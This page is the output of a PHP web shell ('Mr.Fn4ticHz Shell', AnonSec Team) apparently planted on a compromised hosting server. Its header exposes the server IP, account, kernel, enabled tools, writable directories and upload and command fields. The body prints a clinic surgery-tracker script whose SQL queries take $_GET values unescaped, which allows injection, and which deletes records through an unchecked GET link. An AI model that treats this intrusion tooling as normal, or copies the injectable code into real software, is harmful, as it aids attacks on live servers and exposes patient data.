Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.14.131.212
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//surgeryshow.php
<?php
session_start();
require_once("../LoginManager.php");
require_once("../DBManager.php");
include("dbconnection.php");
include("header.php");
include("dashboarddocument.php");
?>
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
                     		<?php 
		session_start();
$DisplayForm=True;
include("dbconnection.php");
$sql12 ="SELECT * FROM surgerytracker WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql12 = mysqli_query($con,$sql12);
		while($rh12 = mysqli_fetch_array($qsql12))
		{
	$DisplayForm=False;
echo "";
}
if($DisplayForm)
{
echo "<script>window.location='surgeryadd.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'</script>;</script>";
} else{
 
?> 

        
  <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>

    <script src="../dist/js/price.js"></script>
    <br>
    <br> <div class='table-responsive'>  
    <table class='table'>
    <thead>
      <tr>
        <th>#</th>
        <th>Treatment</th>
        <th>Name of Doctor</th>
        <th>Action</th>
      
      </tr>
    </thead>
        <?php 
include("dbconnection.php");
if(isset($_GET[surgeryid]))
{
	$sql ="DELETE FROM surgerytracker WHERE surgeryid='$_GET[surgeryid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('Delete successfully..');</script><script> window.history.go(-1)</script>;</script>";
	}
}
		 $narayan=LoginManager::currentUser();
        $hari=LoginManager::getUserTypeByuname("$narayan");
        $count=1;
        
        	$sql ="SELECT * FROM surgerytracker WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($re = mysqli_fetch_array($qsql))
		{
		  $a=$count++;
     echo"
	<a style='color:blue'  href='operativemenu.php?prescriptionid=$re[prescriptionid]&patientid=$re[patientid]&surgeryid=$re[surgeryid]'><u><h4>
	";
	
	  	
		     echo"         
 
    <tbody>
      <tr>
        <td>$re[surgeryid]</td>
        <td>";?>
        <?php
        $sql1 ="SELECT * FROM list_tretment WHERE trid='$re[surgery]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re1 = mysqli_fetch_array($qsql1))
		{
		echo"
<a style='color:red;' class='a1'  href='operativemenu.php?prescriptionid=$re[prescriptionid]&patientid=$re[patientid]&surgeryid=$re[surgeryid]'><u><h4>	$re1[tratment]</h4></u></a>";
	} ?>
       <?php 
       $sql1 ="SELECT * FROM site_users WHERE userno='$re[Admitted_Under]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re1 = mysqli_fetch_array($qsql1))
		{
       
       echo "</td>
        <td>$re1[name]</td>
        "; ?>
     
        <td><a href='surgeryshow.php?surgeryid=<?php echo $re[surgeryid] ?>&prescriptionid=<?php echo $re[prescriptionid] ?>&patientid=<?php echo $re[patientid] ?>' style='color:red;font-size:20px;' onclick="return confirm('Are you sure?')"><i class='fa fa-trash-o'></i></a></td>
       <?php echo "
      </tr>
    </tbody>
   
		    
		    

	
	
	";
		}
		}
		
		echo"<br>	<a style='color:#ffffff; float:right;margin-bottom:12px' class='btn btn-primary'  target='_blank' href='surgeryadd.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'><u><h4 align='center'>Add New OR Sheet</h4></u></a>
</table>	";
		?>
	<br>
    <br>
    </div> 
    <?php
}
?>

<style>
    .a1{ text-decoration: none; }
</style>



Anon7 - 2022
AnonSec Team